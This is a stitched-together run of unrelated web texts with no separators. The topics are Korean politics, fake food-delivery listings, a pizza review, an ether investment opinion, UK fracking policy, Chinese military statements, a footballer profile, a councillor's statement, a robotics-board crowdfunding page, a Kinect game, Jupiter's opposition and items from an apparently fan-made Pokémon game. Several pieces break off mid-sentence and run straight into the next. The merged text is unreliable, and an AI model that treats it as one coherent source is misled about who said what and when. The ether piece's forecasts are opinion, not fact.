Of course, rhetoric can sometimes be overcome by the pace of events. However, there is good reason to believe that North Korea does not see any strategic benefit to be gained by acting aggressively. Pyongyang by no means prioritizes South Korea in its tactical calculus anyway, but it would be particularly unwise of Pyongyang to expend political capital in the month before the incoming Trump administration is sworn in.
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Additionally, North Korea is busy. December is a time for key activities that make it a bad time for unplanned bursts of adventurism. Pending matters include closing out national accounts, holding internal commemoration events marking the death of former leader Kim Jong Il on December 17 and winter military training drills. The latter are officially supposed to take place in the period between December and the end of March, but much of the main action takes place in December.
Back in Seoul, the impeachment motion now sits before the Constitutional Court, which has 180 days to hand down a ruling on whether Park goes or stays. In 2004, it took just 63 days for the justices to reinstate Roh Moo-hyun, but the charges against Park are more serious and so the result is unlikely to come quite so soon.
However, the system can weather the storm. South Korea's chaos isn't automatically good news for North Korea.It's easy to never actually see the restaurant you're ordering from on Seamless, and restaurants are taking advantage of that. NBC 4 New York found that more than 10 of the 100 highest rated restaurants in New York City were fakes, in one way or another. In some cases, they were real restaurants that had created additional listings under new names to give themselves an edge within the app. Other listings, the report suggests, could even be operated out of a person's home. And still others came from food producers that weren't approved to sell straight to consumers.
Fake listings are problematic since it means that consumers have no way of looking up whether the restaurant they're ordering from is clean and cleared for business. In response to NBC's report, Seamless and GrubHub, which merged several years back, have issued a statement saying that they're working with New York's Department of Consumer Affairs "to address the issue and remove inaccuracies." It's also adding "more checks to validate the name and location of restaurants" before they're listed, which should help to prevent fakes in the first place. GrubHub tells The Verge that this issue is "unique to New York" and that it has removed all fake and unapproved restaurants identified by NBC.Jeff Varasano used to be a name that popped up on pretty much every Google search you did for "pizza" in the mid-2000's (it's still there if you enter either "NY pizza recipe" or "Neapolitan pizza recipe"). Probably the most famous of the recent crop of engineers who focused their razor-sharp attention to detail on pizza, Varasano became a viral sensation with his massive, meticulous recipe/essay on creating the perfect pie and his exhaustive search to find the best pizza in the country. Then he traded in his career in software to go pro.
Varasano's opened in Atlanta with fanfare in 2009, made the top eight of what I consider the finest best-of list of the last ten years, and then...went under the radar. Daniel Zemans gave it glowing marks here in 2010 and Varasano's continues to get good reviews locally, but in the last three years it's dropped off the national scene. After three trips there in the last couple of years, I can assure you that it isn't because of the pizza.
At first glance, Varasano's pizza looks vaguely Neapolitan, but in reality it's something much more unique; it's like he hacked the old-school pies he grew up with and upgraded them with modern flavors. Thin and airy, the crust is crisp enough to make silverware unnecessary, while maintaining a silky, pillowy crumb. More impressive is the flavor—the near perfect tang surprises me every time (as in I literally shake my head). I don't think I've ever had such a formidable sourdough that was simultaneously so delicate.
Then there's the sophisticated yet accessible toppings. In addition to all the high-quality ingredients like soppresata and bufala you'll find at your favorite pie shops, there are exciting pizzas like the Nucci, which is made with Emmentaler cheese. Varasano might have written 50,000 words or so |
in a short period of time. Major financial institutions and enterprise giants have shown support for it, including Intel, Microsoft, J.P. Morgan and Accenture, and it will likely cooperate with legislation when the time comes. That's what makes this product the likely successor to bitcoin.
While the Feds did recognize bitcoin as a form of currency, the community was fervently anti-establishment from the start. I was in those private IRC groups and other chat channels with the hardcore traders, and was a member of LocalBTC and all the rest. I also belonged to several nonprofits in the BTC community and was its biggest cheerleader for years. It was always fun having suits at the Soho House in L.A. overhear my conversations on bitcoin and ask me to explain it to them. I always pointed them here.
When Coinbase.com sent me a newsletter stating it now had ether, I knew the time had come. Bitcoin would start to see its final days soon or start the path of fading away into the ether. Major players in the market are starting to influence ether, and I expect to see it continue to climb in value and importance. At the time of writing, it's already trading at $50 per coin.
Largely, we've seen the same with Uber. Controversy after controversy and embattled competition with rivals are starting to show their mark, and Uber's autonomous vehicle wing -- which is probably the most important arm for the future of the company -- is bleeding its best talent.
Is Silicon Valley's $70 billion baby going to fall on its face, or will it eventually grow into profitability? Is ether another bubble or the bitcoin 2.0 we’ve been waiting for, ready to replace our fiat currency once and for all like an episode of “Mr. Robot?”
Only time will tell.The policy of additional funding to local authorities has been designed to incentivise them to grant planning permission and support exploration. As well as fracking, where a mixture of water, sand and chemicals is used to fracture underground rocks to release gas, councils will also receive the entire business rate pot for renewable energy projects, such as wind farms or solar parks.
With around 176 licenses for exploration already awarded, and more due when the winners from round 14 are announced later this year, the government is keen to quicken the pace of development of UK shale.
Announcing the increased share for communities, UK Prime Minister David Cameron, made his position quite clear. "A key part of our long-term economic plan to secure Britain’s future is to back businesses with better infrastructure," Cameron said. "That’s why we’re going all out for shale. It will mean more jobs and opportunities for people, and economic security for our country."
The government claim that fracking is vital for easing economic strain, bringing an estimated 74,000 jobs, economic growth and lower gas bills to the public, particularly those closest to sites. But whether the public will be swayed by this remains to be seen.
"We’re going all out for shale. It will mean more jobs and opportunities for people, and economic security for our country."
The licenses that are granted to site operators constitute only a small part of the preparations before ground is broken. Health and safety reviews, consent from authorities and a number of permits are also needed. But most important of all is receiving planning permission, which requires the backing of both the people and their local representatives.
Nick Butler, chair of King’s Policy Institute and a former vice-president of strategy and policy at BP, raised doubts on whether a simple cash incentive would allay concerns. Speaking to the BBC, he said: "The challenge is public opinion in the areas where shale gas exists. I don’t think that just giving them a little bit more of the revenue is going to change the minds of those people."
Blackpool rocked public confidence
Fears over fracking increased in 2011 after extraction at the Preese Hall well in Blackpool was cited as a direct cause of a number of earthquakes in the area. In its own report on the incident, the government concluded that ‘the earthquake activity was caused by direct fluid injection into an adjacent fault zone’. Following this finding, public opposition to such activities has intensified and a series of protest groups have campaigned against companies awarded exploration licenses.
"The proposal reveals just how worried the government is about planning applications being turned down."
With such strong opposition and concern, Lawrence Carter, climate change campaigner at Greenpeace, believes the latest offer from government is nothing more than an attempt to buy off councils. "[Energy and business minister Michael Fallon] is effectively telling councils to ignore the risks and threat of large-scale industrialisation in exchange for cold hard cash," Carter said. "But the proposal reveals just how worried the government is about planning applications being turned down."
The Local Government Association, which acts on behalf of councils, welcomed the government announcement, but called for firmer action to govern the contribution made by industry. In addition to the business rate revenues, companies operating sites have committed to providing a one-off payment of £100,000 when testing begins, and a 1% share of any revenues generated from gas that is extracted.
The LGA would like these commitments to be formalised. An LGA spokeman said: "The community benefits of fracking should be enshrined in law, so companies cannot withdraw them to the detriment of local people. The LGA is encouraging the development of models, which will ensure the money would go into a charitable sovereign fund for community purposes and used to support local priorities."
Big oil dips toe into UK wells
One party that appears to be backing the government to succeed in developing the industry is French oil giant Total. The company, which is barred from extracting shale gas from its native land over environmental laws, has acquired a 40% stake in two shale gas exploration licences for Gainsborough Trough in the East Midlands.
"This opportunity is an important milestone for Total E&P UK and opens a new chapter for the subsidiary in a promising onshore play."
The deal, which will see the company invest at least $21m (£12.7m), will see Total partner with site operator Island Gas (IGas), GP Energy, Egdon Resources and eCorp Oil & Gas. IGas will operate the site during the initial exploration stage, with Total taking over if a commercially viable amount of gas is found.
The entrance of Total marks the first time that one of the major international oil & gas companies has invested in the UK shale gas market and could spark an influx of new competition to the sector. Patrice de Viviès, Total’s senior vice-president for Northern Europe, said "This opportunity is an important milestone for Total E&P UK and opens a new chapter for the subsidiary in a promising onshore play."
Whether those against fracking can be bought remains to be seen, though it is unlikely that the business rate offering will suffice. But the simple fact that the government is making the offer, plus the going ‘all out for shale gas’ sound bite suggests that Cameron and Co are determined to push ahead. And if more of big oil follows Total into the UK shale gas market, the anti-fracking movement may well be brushed-aside.
Related content
Shale gas fracking is set to resume in the UK, after a new report gave the controversial process the go-ahead.
Shale gas is on the rise in the US, projected to account for 46% of the country’s gas output by 2035.
Follow Adam Leach on Google+"In the coming five years, our military will push forward preparations for military conflict in every strategic direction," said Liang Guanglie in an interview published by several state-backed newspapers in China. "We may be living in peaceful times, but we can never forget war, never send the horses south or put the bayonets and guns away," Mr Liang added.
China repeatedly says it is planning a "peaceful rise" but the recent pace and scale of its military modernisation has alarmed many of its neighbours in the Asia-Pacific, including Japan which described China's military build-up as a "global concern" this month.
Mr Liang's remarks come at a time of increasingly difficult relations between the Chinese and US armed forces which a three-day visit by his counterpart Robert Gates is intended to address. A year ago China froze substantive military relations in protest at US arms sales to Taiwan and relations deteriorated further this summer when China objected to US plans to deploy one of its nuclear supercarriers, the USS George Washington, into the Yellow Sea off the Korean peninsula.
China also announced this month that it was preparing to launch its own aircraft carrier next year in a signal that China is determined to punch its weight as a rising superpower. The news came a year earlier than many US defence analysts had predicted.
China is also working on a "carrier-killing" ballistic missile that could sink US carriers from afar, fundamentally reordering the balance of power in a region that has been dominated by the US since the end of the Second World War.
A US Navy commander, Admiral Robert Willard, told Japan's Asahi Shimbun newspaper this week that he believes the Chinese anti-ship missile, the Dong Feng 21, has already achieved "initial operational capability", although it would require years of testing.
Analysts remain divided over whether China is initiating an Asian arms race. Even allowing for undeclared spending, China's annual defence budget is still less than one-sixth of America's $663bn a year, or less than half the US figure when expressed as a percentage of GDP.
However in a speech earlier this year Mr Gates warned that China's new weapons, including its carrier-killing missile, "threaten America's primary way to project power and help allies in the Pacific", underscoring the difficulties that lie ahead as China and the US seek to contain growing strategic frictions.
As China modernises, Mr Liang pledged that its armed forces would also increasingly use homegrown Chinese technology, which analysts say still lags behind Western technology even as China races to catch up.
"The modernisation of the Chinese military cannot depend on others, and cannot be bought," Mr Liang added, "In the next five years, our economy and society will develop faster, boosting comprehensive national power. We will take the opportunity and speed up modernisation of the military."Leave some for the rest of us!
Hey, you can only buy 3 of these.
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For a man of just 23 years, Raheem Sterling has crammed a lot into his life.
England caps, Liverpool’s young player of the year award twice, front-page controversy, a family tragedy and winning the Premier League under Pep Guardiola have all made their mark on the City player.
He became the most expensive under-21 player in football history when he joined City from Liverpool in July 2015.
But who is the man behind the facade of the footballer?
Sterling was born in the notorious Maverley district of Kingston, Jamaica – an area more noted for its gun crime and poverty than its football.
His mother took him and sister Lakima away from that hell-hole when he was six, emigrating to London, where the family settled on the St Raphael’s estate, close to Wembley Stadium.
The wisdom of that was underlined when Sterling’s absent father was shot dead in Jamaica – when he was a child.
But north west London was no paradise, and Sterling was soon attending a special school, due to behaviour problems in mainstream school.
Football was his saving grace. One teacher told him, at the age of ten: “If you carry on the way you’re going, by the time you’re 17 you’ll either be playing for England or you’ll be in prison.”
The lure of gang culture loomed large in his life, but Sterling was too busy playing football.
His childhood was played out in the rising shadow of the new Wembley, and it soon became clear Sterling had a better than average chance of playing there one day.
His teacher Chris Beschi felt that Sterling’s label as a naughty, educationally sub-normal kid, was just wrong: “Raheem is amazingly intelligent in so many ways,” he said.
“At Vernon House he would have been statemented as having special educational needs. It’s a stigma to have when someone like Raheem is a brilliant thinker. He would get concepts off the football pitch as well as on it. He had a great work ethic which lots of the other kids didn’t.”
Perhaps those formative years explain the fact that Sterling has occasionally strayed from the path – he was pictured by national newspapers smoking a shisha pipe and inhaling nitrous oxide from balloons.
Neither activity is illegal, but does not reflect well on a professional footballer – but when weighed against fears he might end up in prison, they are pretty small beer!
His football talent, playing for the Alpha and Omega Youth Club, was spotted by Queen’s Park Rangers, and he was in their Centre of Excellence at 11.
QPR academy director Steve Gallen said: “There was good and bad in that team - the good was Raheem and the bad was the rest of the team. A match would finish 6-5 and Raheem would have scored five goals while the rest let six in.”
City watched him playing, as a 14-year-old, for QPR’s under-18 team, but only Liverpool and Fulham tried to sign him – the Merseysiders sealed a £1million deal for him before he had turned 15.
He made his first team debut for Liverpool at the age of 17 years and 107 days, making him the third youngest debutant in the club’s history – behind Jack Robinson and Jerome Sinclair.
Unlike those two, Sterling secured his place in the first-team squad, and made 129 appearances, scoring 23 goals, for the Anfield outfit.
In 2014 he was named Europe’s Golden Boy, awarded to the best youngster in Europe, as voted by top sports journalists from across the continent. Previous winners have included Sergio Aguero, Mario Balotelli, Lionel Messi and Paul Pogba.
He secured a huge move to City in July 2015, signing a five-year deal and under Guardiola has become one of the best young players in Europe.The OPP is not proceeding to charges related to Mr. Lloyd Ferguson’s assault against myself on February 26, 2014 which occurred in the public foyer of Council Chambers at City Hall.
The OPP must weigh numerous factors in determining whether to prosecute offences and I agree with their decision that public interest is not best served by using court time and resources on this matter.
The OPP concluded that Mr. Ferguson’s actions were wrong and unjustified.
I wish to thank my fellow Hamiltonians for their support and both the Hamilton Police Service, and the Ontario Provincial Police for their professionalism.
Though I respect how these events have concluded, I do request that Council consider formal action to rescind former Integrity Commissioner Mr. Basse’s flawed report, a report that has been widely criticized, and a report that untruthfully maligns my character. I hope to work with staff to see this action taken.
Where these events might undermine public confidence in our civic government and civilian oversight of policing, increasing cynicism and disengagement, I implore the public to stay engaged with an inquisitive eye on City Hall.
My final message is thank everyone for your support. The strong support from the community is what enables me to continue my work."CORE2 enables the rapid prototyping and development of consumer and service robots. It’s especially suitable for engineers designing commercial appliances and robotics students or hobbyists."
"So you would like to build and prototype robotics projects faster? The Husarion CORE2 platform has you covered. It interfaces with DC motors, servos, and other components to let you build sophisticated robots."
"Here is a connected brain for your robots that lets you bring your ideas to life faster. You can use the Husarion CORE2 to build drones, telepresence robots, rovers, and everything else."
"Whether the next robotic idea is a tiny rover that penetrates tunnels, a surveillance drone, or a room-sized 3D printer, the CORE2 can serve as the brains behind it."
"Husarion CORE2 is a board designed to make robotics projects simpler and faster to complete with pre-configured software and online management. "
A connected computer for rapid robot development
The next industrial revolution is happening right now. New connected devices and robotics are redefining the way work is done. Big business has already realized that the way of the automation and high-tech robot-based manufacturing is the way of the future. Now the same trend is transforming the consumer and services markets. There is no better time to be a robotics engineer and maker - the world needs your bold ideas. You only need tools to make them happen.
What is Husarion CORE2?
Husarion CORE2 is a computer designed for fast prototyping of robotic projects. It interfaces directly with motors, servos, encoders, sensors, so without additional shields you can easily build large variety of robotic of mechatronic projects.
It is available in two configurations:
CORE2 - a low-power, cloud connected real-time computer with Wi-Fi
CORE2-ROS - an ROS powered, cloud connected computer with Wi-Fi combining real-time capabilities and high computing power. Ideal for autonomous robots.
left: CORE2; right: CORE2-ROS
What is Husarion platform?
It’s not only about hardware. Wouldn’t it be great if robotics was as simple as coding a website? Web developers enjoy proven, ready-to-use tools, frameworks, hosting platforms, tutorials, and examples. If only you, the robotics developers, could enjoy the same advantages. It would remove unnecessary work from your shoulders and let you focus on what really matters - the idea, the problem your device will solve and how it will do it.
develop online or offline with Husarion CORE2
That’s the goal that we’ve set for ourselves creating the Husarion platform. We provide you with embedded hardware, preconfigured software, and easy online management. You can start building your first prototypes with LEGOs and iterate them with subsequent 3D-printed or laser-cut versions of mechanics without having to develop hardware and software from scratch. From the very beginning of your project up to mass manufacturing and deployment, you can use the same Husarion solutions every step of the way.
Building advanced robots should be as easy as creating websites. This is the challenge we took on.
Who is Husarion platform for?
Our tools are meant to accompany your robotics project throughout development - from humble beginnings in your garage to fully-fledged development facility and mass manufacturing. It doesn’t matter if you are:
An engineer working in a tech corporation for many years now, seeking to improve processes and machinery to sustain the growth of the business,
for many years now, seeking to improve processes and machinery to sustain the growth of the business, A university employee teaching students how to build robotic devices using LEGO Mindstorms,
teaching students how to build robotic devices using LEGO Mindstorms, A group of students working on a robot for robotic contest to make your Alma Mater proud of you,
working on a robot for robotic contest to make your Alma Mater proud of you, A designer in a ten-person design studio seeking to quickly test a new device idea, scrap it, and test a new one,
seeking to quickly test a new device idea, scrap it, and test a new one, A graduate from Cal Tech determined to build a fresh guacamole maker and commercialize it,
…the Husarion platform will jump-start your robotic project.
Intrigued? Let’s take a look at hardware details that makes it all work.
Hardware Specifications
CORE2 contains popular interfaces for robotic projects, so you can build different robots easily without dozens of shields. Built-in DC motor ports allows you to directly connect up to four motors and process signals from their quadrature encoders in hardware - you don’t waste a CPU processing cycles, because a dedicated timer, one for each encoder, cares to not miss any single “tick”. Powerful libraries for CORE2 use all peripherals and CPU power in efficient way, thanks to a real-time operating system, DMA channels, interrupts - but everything is hidden behind an easy to use API. Interfaces for six servos and an on-board DC/DC converter allows you to select a voltage level for each servo. Lots of GPIOs, communication interfaces, ADC channels, and interrupt pins allow you to connect literally any sensor you can find, especially since CORE2 works with Arduino libraries, as you will see later.
Label Description MCU Real time microcontroller: STM32F4, ARM CORTEX-M4, 168 MHz, 192 kB RAM, 1 MB Flash hRPi Expansion port used for add-ons (included in each kit): CORE2-ROS: a single board computer Raspberry Pi 3 (ARMv8, 1.2GHz, 1GB RAM, 16GB Flash) or ASUS Tinker Board (ARMv7-A, 1.8GHz, 2GB RAM, 16GB Flash) CORE2: an ESP32 based Wi-Fi module hMot 4 quadrature encoder inputs + 4 DC motor outputs with built-in H-bridges (1 A cont./ 2 A max. current per output, 2 A/4 A current when paralleled) hServo 6 servo ports with selectable supply voltage (5 / 6 / 7.4 / 8.6 V) 3 A cont./4.5 A max. current for all servos together hSens 6 sensor ports (4 x GPIO, ADC/ext. interrupt, I2C/UART, 5 V out) hExt Extension port (12 x GPIO, 7 x ADC, SPI, I2C, UART, 2 x ext. interrupt) USB serial USB serial port through FTDI chip USB host USB host with 1 A charging capability micro SD Micro SD card slot CAN CAN interface with onboard transceiver DBG SWD (Serial Wire Debug) - STM32F4 debug port Vin Supply voltage input: 6 - 16V DC (with built-in overcurrent, overvoltage, and reverse polarity protection)
What can I create with Husarion CORE2?
Whether your next robotic idea is a tiny rover that penetrates tunnels, a surveillance drone, or a room-sized 3D printer, the CORE2 can serve as the brains behind it.
CORE2 will accelerate building a large variety of robots in all sorts of appliances. Need further inspirations? How about:
An outdoor, autonomous, self navigating farm robot
Telepresence or autonomous drones with web hosted UI
A connected robot making a fresh sandwiches and ordering missing ingredients
An inspection robot with dynamically selectable autonomous/remote control mode
And we’re sure that you’re already imagining even cooler use cases!
What software is used with CORE2?
Open source, real-time framework
A set of libraries for robots has been in development at Husarion for four years now. They are written to save computing power of CPU and perform low-level real-time functions of robot efficiently. These libraries, named “hFramework”, are based on a real time operating system (RTOS) and use DMA channels and interrupts internally to handle communication interfaces. Need a new PID regulator for your motor working on a separate task in real time? It’s only a few lines of code. We believe in the power of hFramework and we’ve made it open-source: hFramework on GitHub
Powered by ROS
ROS is a great set of tools for building autonomous robots. It’s becoming a standard for new robotic designs. CORE2-ROS controller integrates a dedicated Linux image with ready-to-use ROS packets and libraries that will help you to benefit from the synergy of low-level, real-time tasks realized by CORE2 and high-level tasks realized in a single board computer. Along with CORE-ROS, we’ve prepared a set of tutorials to help you get started with ROS and CORE2. Currently covered topics include:
ROS introduction creating nodes simple kinematics for mobile robot visual object recognition running ROS on multiple machines SLAM navigation
All topics can be covered using ROSbot - autonomous robot mobile platform with CORE2-ROS.
There is no easier way to start building your own ROS powered robots!
Arduino compatible
CORE2 works with Arduino libraries! There are Arduino libs for literally any sensor available on the market. You can find them easily on the web and use them directly with CORE2 controller, without having to modify them to work. The Arduino compatibility layer uses the hFramework API, so CORE2 peripherals are used in a very efficient way.
What is the use of Husarion cloud?
It’s a command center for all your Husarion powered robots. With our Cloud you can:
Create the WebUI - a dedicated user interface to allow controlling your robot in real time and streaming the video - thanks to HTML5, CSS and built-in WebRTC support.
Share your robot with different access rights and generate a link to your robot anybody can open.
Develop robot firmware and program robots through a web interface.
Feel safe thanks to a full SSL connection between CORE2 and cloud. Access your robots from a 3rd party apps with a cloud API.
What does the software development process for my robots looks like?
Husarion provides both a cloud-based WebIDE and an offline SDK.
ONLINE: Web IDE at cloud.husarion.com
Want to program your CORE2 two minutes after unboxing? Just connect CORE2 to your account at cloud.husarion.com, open Web IDE, and select one of available examples. Then click the “program” button: your code will be built on our servers and then uploaded over the internet to your CORE2. Nothing simpler!
click “IDE” button on Husarion Cloud select CORE2 and a template for your project build & download code to CORE2
OFFLINE: SDK + Visual Studio Code
Configure your favourite IDE with our SDK or install the Husarion extension in your Visual Studio code. It automatically downloads the SDK and toolchain and configures your IDE.
No cloud building - code is built locally on your computer and downloaded via USB cable. And it works on Linux, Mac and Windows.
download the Visual Studio Code install the Husarion extension write code and flash CORE2 using USB cable
CORE2 vs. existing robotic boards
CORE2 is the most versatile robot-building platform available on the market. It’s not only affordable, but also powerful:
CORE2 CORE2-ROS BeagleBone blue Erle-Brain 3 LEGO Mindstorms EV3 Real-time microcontroller ARM Cortex-M4 @168MHz 192KB RAM 1MB Flash ARM Cortex-M4 @168MHz 192KB RAM 1MB Flash ARM Cortex-M3 @200MHz RAM & Flash shared with board computer Board computer ARMv7-A @1.8GHz 2GB RAM 16GB Flash (microSD) (ASUS Tinker Board) ARM Cortex-A8 @1.2GHz 512MB RAM 4GB on-board Flash + microSD ARM-8 @1.2 GHz 1GB RAM microSD (Raspberry Pi 3) ARM-9 @300MHz 64MB RAM 16MB on-board Flash + microSD Wireless Wi-fi, Bluetooth \ (ESP32) Wi-Fi, Bluetooth Wi-Fi, Bluetooth Wi-Fi, Bluetooth Wi-Fi, Bluetooth Servo 6x out with selectable voltage level (5/6/7.4/8.6 V) 6x out with selectable voltage level (5/6/7.4/8.6 V) 8x out (6 V) 12 x out (5 V) DC motor output 4 4 4 4 Quadrature encoder input 4 4 4 4 GPIO 42 42 8 16 UART 4 4 5 1 4 SPI 1 1 1 I2C 3 3 1 2 4 (emulated by software) CAN 1 1 External ADC input 13 13 4 0 4 External interrupt input 8 8 (no data) 0 0 On-board sensors IMU, barometer IMU, barometer, temperature Price (USD) 89 159 89 210 190
Compare CORE2 to a controller without real-time processing:
Prototyping with Husarion CORE2
Here’re a couple of example prototypes we’ve made using the power of CORE2 and the Husarion platform:
Telepresence robot
Robot with LEGO® MINDSTORMS bricks
Robot with MAKEBLOCK metal elements
5-DOF robotic arm
Autonomous robot platform with LiDAR based on ROS
You’ve got endless possibilities. Some inspirations for your own projects you can find on Husarion profile at hackster.io
Can I get a complete robotic development kit with CORE2?
If you don’t want to deal with your own mechanics and don’t have LEGO® Mindstorms or Makeblock sets, the ROSbot and telepresence kits will help you start with a ready-to-use robot in minutes after unboxing.
CORE2 Telepresence Robot - build your own first-person view robot (self-balancing, thanks to encoders, gyro and accelerometer)! Control it from a web browser, customize its UI or even share with a friend (if you feel like hosting a virtual guest). The kit contains:
CORE2 (with ESP32 Wi-Fi module)
Inertial measurement unit (MPU-9250)
2 x DC motor with encoder
1 x servo motor
Battery pack for three 18650 batteries
acrylic chassis with an adjustable holder for a small tablet
Mechanics are already assembled. The only thing you need to do is attach CORE2 and connect your own tablet with hVideo app.
ROSbot is an open source, mobile robot platform containing:
Digital camera Laser scanner 360° RPLiDAR A2 Solid aluminum cover Wi-Fi antenna Orientation sensor (MPU9250) 2x left & 2x right DC motors with quadrature encoder CORE2-ROS (with ASUS Tinker Board inside)
Our ROS tutorial is based on this platform. This is the easiest way to start building your own autonomous mobile robots. Mechanics are assembled and ready to use.
Do you have any external modules for CORE2?
We have prepared some add-ons for CORE2/CORE2-ROS:
CORE2brick - connects CORE2 or CORE2-ROS with LEGO® Mindstorms.
CORE2 + CORE2brick is a perfect match for all robotics beginners starting with Mindstorms as well as academics, to a provide closer-to-business platform for educating students. The central component is the shield that provides full compatibility with LEGO® Mindstorms sensors and motors, including current sources and UART or I2C interfaces. The kit also contains cables, battery pack and all mechanical elements needed to connect CORE2 with bricks. CORE2-ROS shown under CORE2brick shield is not included in this add-on.
a battery pack for 3x 18650 Li-Ion 4x LEGO® motor 6x LEGO® sensor acrylic adapters cables to connect LEGO® motors and sensors with LEGO® Connector
CORE2block - connects CORE2 or CORE2-ROS with Makeblock system. The metal, screwed mechanicals of Makeblock gives you more robust mechanics than LEGO® bricks.
The main components are adapters for sensors and motors. The electrical interface of Makeblock sensors is similar to CORE2 hSensor, but some pin-swapping is needed, so these adapters do that job.
to CORE2 sensor ports to Makeblock motors to CORE2 motor outputs to Makeblock sensors
Servo controller - allows to connect 12 additional servos to CORE2.
Communicates with CORE2 via hSensor interface. Up to four servo controllers can work on one hSensor port thanks to 2-bit addressing. The step down DC/DC converter with software-controlled output voltage is available on board to simplify power connections - you can supply the servo controller and CORE2 from the same power source.
Servo controller for CORE2
outputs for 12 servos, with selectable output voltage (5V/6 V/7.4 V/8.6 V), 4 A max. output current and with OC and UV protection status LEDs jumper for address selection UART interface power supply input
Manufacturing Plan
The CORE2 is not our first robotic controller. We’ve been making them for over four years now, and we shipped the crowdfunded RoboCORE as our first product. The CORE2 is a result of our continued iteration and experience, and incorporates a lot of know-how we’ve acquired throughout our journey.
Now we have a final design ready, with complete BOMs fully specified. We’ve negotiated with vendors and distributors and currently all parts are available with a maximum one month lead time. Depending on pre-ordered volumes during the Crowd Supply campaign, we will choose a right contract manufacturer. They can organize all production and start immediately after the supply chain process finishes.
Our priority will be to minimize the time to ship orders to you. We set the shipping dates with safe margins. Having worked with multiple fulfillment centers in the past, we will pick the best, proven ones that will ensure a smooth ordering experience for you.
Risks & Challenges
There is always some risk related to producing hardware in volume, like natural disasters, supply chains problems, and quality assurance. But we’ve done everything possible to reduce risk to a minimum before launching our Crowd Supply campaign. CORE2 is the second generation of our computer for robots that we will send to clients, so we have a lot of experience that helps us to avoid potential problems. CORE2 hardware is tested by our team and beta-testers, and is ready for a mass production. We prepared the Automatic Test Equipment (ATE), that allows us to test and program initial firmware for CORE2 and CORE2-ROS in a short time without a risk of human error.
A development of stable software also takes a lot of time, but everything that we have prepared for CORE2 – libraries, packets, extensions, mobile apps, and cloud platform – has been tested and works stably.The software has already been used by clients around the world.
We also have experience in working with fulfillment companies that helped us before in shipping our products worldwide. Supply chains issues, quality assurance and other potential problems shouldn’t cause a major delay. Nevertheless, we will inform you about any issues, will keep you updated on the campaign, and and will be responsive to your questions. We will challenge every potential issue to bring you quality product within short time.
FAQ
Q: Will it be possible to buy the additional modules after the end of the campaign?
A: Yes, all rewards prepared for this campaign will be available to buy - sooner or later after the campaign. If you need something particular or ASAP - please contact us.E3 2012: Wreckateer Gameplay Video Features Exploding Castles By William Usher Random Article Blend Wreckateer, it's a gesture-based demolition game featuring various exploding castles.
The E3 walkthrough video gives you a brief glimpse at the way Wreckateer is played as well as the release window for the game.
Essentially, since it's Kinect based, you don't need a controller and movement is kept to a minimum. Players mostly open and close their arms as well as make rotary movements to change the spin or direction of the wrecking balls as they catapult in the air to destroy various parts of the castle. Check it out in the walkthrough below.
As a budget-priced title I can imagine that game doing quite well amongst family oriented households. I'm not entirely sure that any core gamer looking for a fun pastime game would turn to something like Wreckateer, but still, it at least doesn't look all that bad. The fact that you can spend that much time and energy into destroying stuff will definitely appeal to people who enjoy...well...destroying stuff.
The game will be available shortly, exclusively for the Xbox Kinect via Xbox Live. You can learn more about the game by paying a visit to the What would E3 be without some kind of casual Kinect game? Well, it wouldn't be E3...not for Microsoft anyway. A new XBLA title is on the way this summer called, it's a gesture-based demolition game featuring various exploding castles.The E3 walkthrough video gives you a brief glimpse at the wayis played as well as the release window for the game.Essentially, since it's Kinect based, you don't need a controller and movement is kept to a minimum. Players mostly open and close their arms as well as make rotary movements to change the spin or direction of the wrecking balls as they catapult in the air to destroy various parts of the castle. Check it out in the walkthrough below.As a budget-priced title I can imagine that game doing quite well amongst family oriented households. I'm not entirely sure that any core gamer looking for a fun pastime game would turn to something like, but still, it at least doesn't look all that bad. The fact that you can spend that much time and energy into destroying stuff will definitely appeal to people who enjoy...well...destroying stuff.The game will be available shortly, exclusively for the Xbox Kinect via Xbox Live. You can learn more about the game by paying a visit to the Official Website Blended From Around The Web Facebook
Back to topNew Delhi: Jupiter, the giant planet will make its closest approach to the Earth on Friday night, Feb 6.
The phenomenon is called Jupiter’s Opposition, a celestial event when the planet Jupiter would be opposite to Sun from the perspective of Earth.
As Jupiter moves closest to the Earth, it will appear as the brightest star in the sky tonight and those in the east coast of India from Kolkata to Viskhapatnam will have a brighter chance of viewing the celestial event.
Due to change in location of planets, the phenomenon Sun-Earth-Jupiter in opposite directions can be seen as the sun sets west and Jupiter rises in the east.
According to the Planetary Society of India, skywatchers can see the planet at its brightest with naked eyes in the evening till February 23.
For morning walkers, the planet can also be seen with naked eyes just before the sunrise.
However, using binoculars or a telescope will give better visibility.
Although the planet will still be 404 million miles from Earth, Friday night's celestial event marks Jupiter’s closest opposition until 2019.
Jupiter, which is the largest in our solar system, has been studied by five spacecraft over the last 25 years.
NASA's Juno probe, which will be the sixth to survey Jupiter, is scheduled to enter orbit around the planet in 2016 |
ified, you cannot do anything until you take damage.
Vile Thistle: Lowers Defense and Special Defense to minimum.
Violent Tamarind: Raises Attack and Special Attack to their maximum level.
Accesories
They're some items that have diverse powers, although they only take effect when the player equips them. According to the personality test that was taken at the beginning of the game, the player will receive a bow of the corresponding color of the Vital Spirit. For example, if the Vital spirit of the player was green, he will receive a green bow, which can be visible in both overworld and dungeon system. Now, the bow is customizable, as the player can choose to have it as a bandanna, scarf, ribbon, bow, tie, wristband or anklet.
Each Pokémon can have a maximum of 4 items, unlike in previous games, in where they can only hold one item. They also do not take space on the bag.
Looplets and emeras
Another returning feature from Super, Looplets are some bracelet like accesories that can be held by the player or partner. They have different effects, and can be powered up by using some crystals or emeras.
Mega Evolution stones and Z-Crystals can also be incrusted on a looplet, but they need some button code to be activated. Looplets can be bought by the purple Kecleon.
Emeras are incrusted on a looplet and a looplet has a maximum of 8 emeras that can be incrusted. The emeras are found through dungeons, but they have a countdown, so they need to be picked as soon as possible.If the player doesn't pick the emera and it reaches to zero, the emera will break and can no longer be used. They also disappear when the plalyer exits a dungeon.
Wonder Orbs and Wands
Another returning item, that has diverse effects, and can be both beneficial, neutral or harmful, depending of the orb.
The wands do the same function, but these are stackable and their effects can be aimed to a certain target.
Both orbs and wands can be bought by the purple Kecleon.
Exclusive items
Returning after Explorers, the exclusive items are some special items considered amulets that only give effect to a certain Pokémon, which has much more strange and beneficial effects than looplets, emeras or another accesory. All 802 Pokémon can have exclusive items.
These special accesories can be obtained inside treasure chests, or by trading items to the Igglybuff from Kangaskhan's Café or the Dhelmise from the Bank.
Some exclusive items also affect a certain type of Pokémon.
As the player progresses on the story, he will receive a more clear explanation of these mysterious amulets.
Throwing items
These are some items that can be thrown to enemies, although they have a determined damage.
